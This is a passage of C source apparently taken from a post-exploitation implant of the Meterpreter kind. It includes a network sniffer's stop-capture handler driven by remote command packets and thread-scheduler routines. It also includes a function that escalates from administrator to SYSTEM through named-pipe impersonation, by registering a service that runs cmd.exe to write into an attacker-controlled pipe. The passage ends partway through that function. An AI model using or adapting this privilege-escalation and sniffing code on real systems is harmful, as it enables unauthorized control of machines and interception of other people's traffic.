DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid; CaptureJob *j; DWORD result; check_pssdk(); dprintf("sniffer>> stop_capture()"); ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> stop_capture(0x%.8x)", ifid); result = ERROR_SUCCESS; do { // the interface is invalid if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { result = ERROR_INVALID_PARAMETER; break; } j = &open_captures[ifid]; // the interface is not being captured #ifdef _WIN32 if (!j->adp) #else if (!j->pcap) #endif { result = ERROR_INVALID_PARAMETER; break; } lock_acquire(snifferm); j->active = 0; #ifdef _WIN32 AdpSetMacFilter(j->adp, 0); AdpCloseAdapter(j->adp); AdpDestroy(j->adp); #else thread_sigterm(j->thread); thread_join(j->thread); // should take less than 1 second :p #endif packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); lock_release(snifferm); dprintf("sniffer>> stop_capture() interface %d processed %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes); } while (0); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Destroy the scheduler subsystem. All waitable threads at signaled to terminate. * this function blocks untill all waitable threads have terminated. */ DWORD scheduler_destroy( VOID ) { DWORD result = ERROR_SUCCESS; DWORD index = 0; DWORD count = 0; LIST * jlist = list_create(); THREAD * thread = NULL; dprintf( "[SCHEDULER] entering scheduler_destroy." ); lock_acquire( schedulerThreadList->lock ); count = list_count( schedulerThreadList ); for( index=0 ; index < count ; index++ ) { thread = (THREAD *)list_get( schedulerThreadList, index ); if( thread == NULL ) continue; list_push( jlist, thread ); thread_sigterm( thread ); } lock_release( schedulerThreadList->lock ); dprintf( "[SCHEDULER] scheduler_destroy, joining all waitable threads..." ); while( TRUE ) { dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." ); thread = (THREAD *)list_pop( jlist ); if( thread == NULL ) break; dprintf( "[SCHEDULER] scheduler_destroy, joining thread 0x%08X...", thread ); thread_join( thread ); } dprintf( "[SCHEDULER] scheduler_destroy, destroying lists..." ); list_destroy( jlist ); list_destroy( schedulerThreadList ); schedulerThreadList = NULL; dprintf( "[SCHEDULER] leaving scheduler_destroy." ); return result; }
/* * Remove a waitable object by signaling the waitable thread to terminate. */ DWORD scheduler_remove_waitable( HANDLE waitable ) { DWORD index = 0; DWORD count = 0; THREAD * thread = NULL; WaitableEntry * entry = NULL; DWORD result = ERROR_SUCCESS; dprintf( "[SCHEDULER] entering scheduler_remove_waitable( 0x%08X )", waitable ); if( schedulerThreadList == NULL || waitable == NULL ) return ERROR_INVALID_HANDLE; lock_acquire( schedulerThreadList->lock ); count = list_count( schedulerThreadList ); for( index=0 ; index < count ; index++ ) { thread = (THREAD *)list_get( schedulerThreadList, index ); if( thread == NULL ) continue; entry = (WaitableEntry *)thread->parameter1; if( entry == NULL ) continue; if( entry->waitable == waitable ) { dprintf( "[SCHEDULER] scheduler_remove_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread ); thread_sigterm( thread ); result = ERROR_SUCCESS; break; } } lock_release( schedulerThreadList->lock ); dprintf( "[SCHEDULER] leaving scheduler_remove_waitable" ); return result; }
/* * Signal a waitable object. */ DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal ) { DWORD index = 0; DWORD count = 0; THREAD * thread = NULL; WaitableEntry * entry = NULL; DWORD result = ERROR_NOT_FOUND; dprintf( "[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable ); if( schedulerThreadList == NULL || !waitable ) return ERROR_INVALID_HANDLE; lock_acquire( schedulerThreadList->lock ); count = list_count( schedulerThreadList ); for( index=0 ; index < count ; index++ ) { thread = (THREAD *)list_get( schedulerThreadList, index ); if( thread == NULL ) continue; entry = (WaitableEntry *)thread->parameter1; if( entry == NULL ) continue; if( entry->waitable == waitable ) { dprintf( "[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread ); if( signal == Pause ) { if( entry->running ) { dprintf( "[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle ); event_signal( entry->pause ); } else { dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread ); } } else { if( !entry->running ) { dprintf( "[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle ); event_signal( entry->resume ); } if( signal == Stop ) { dprintf( "[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle ); thread_sigterm( thread ); } else { dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread ); } } result = ERROR_SUCCESS; break; } } lock_release( schedulerThreadList->lock ); dprintf( "[SCHEDULER] leaving scheduler_signal_waitable" ); return result; }
/* * Elevate from local admin to local system via Named Pipe Impersonation. We spawn a cmd.exe under local * system which then connects to our named pipe and we impersonate this client. This can be done by an * Administrator without the need for SeDebugPrivilege. Works on 2000, XP, 2003 and 2008 for all local * administrators. On Vista and 7 it will only work if the host process has been elevated through UAC * first. Does not work on NT4. */ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) { DWORD dwResult = ERROR_SUCCESS; char * cpServiceName = NULL; THREAD * pThread = NULL; HANDLE hSem = NULL; char cServiceArgs[MAX_PATH] = {0}; char cServicePipe[MAX_PATH] = {0}; OSVERSIONINFO os = {0}; do { os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if (!GetVersionEx(&os)) { BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed") } // filter out Windows NT4 if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) { SetLastError(ERROR_ACCESS_DENIED); BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.") } cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); if (!cpServiceName) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments", ERROR_BAD_ARGUMENTS); } _snprintf_s(cServicePipe, sizeof(cServicePipe), MAX_PATH, "\\\\.\\pipe\\%s", cpServiceName); _snprintf_s(cServiceArgs, sizeof(cServiceArgs), MAX_PATH, "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe); hSem = CreateSemaphore(NULL, 0, 1, NULL); pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); if (!pThread) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed", ERROR_INVALID_HANDLE); } if (!thread_run(pThread)) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed", ERROR_ACCESS_DENIED); } //wait for the thread to create the pipe(if it times out terminate) if (hSem) { if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed", ERROR_ACCESS_DENIED); } } else { Sleep(500); } // start the elevator service (if it doesnt start first time we need to create it and then start it). if (service_start(cpServiceName) != ERROR_SUCCESS) { dprintf("[ELEVATE] service starting failed, attempting to create"); if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) { BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed"); } dprintf("[ELEVATE] creation of service succeeded, attempting to start"); // we dont check a return value for service_start as we expect it to fail as cmd.exe is not // a valid service and it will never signal to the service manager that is is a running service. service_start(cpServiceName); } // signal our thread to terminate if it is still running thread_sigterm(pThread); // and wait for it to terminate... thread_join(pThread); // get the exit code for our pthread dprintf("[ELEVATE] dwResult before exit code: %u", dwResult); if (!GetExitCodeThread(pThread->handle, &dwResult)) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed", ERROR_INVALID_HANDLE); } dprintf("[ELEVATE] dwResult after exit code: %u", dwResult); } while (0);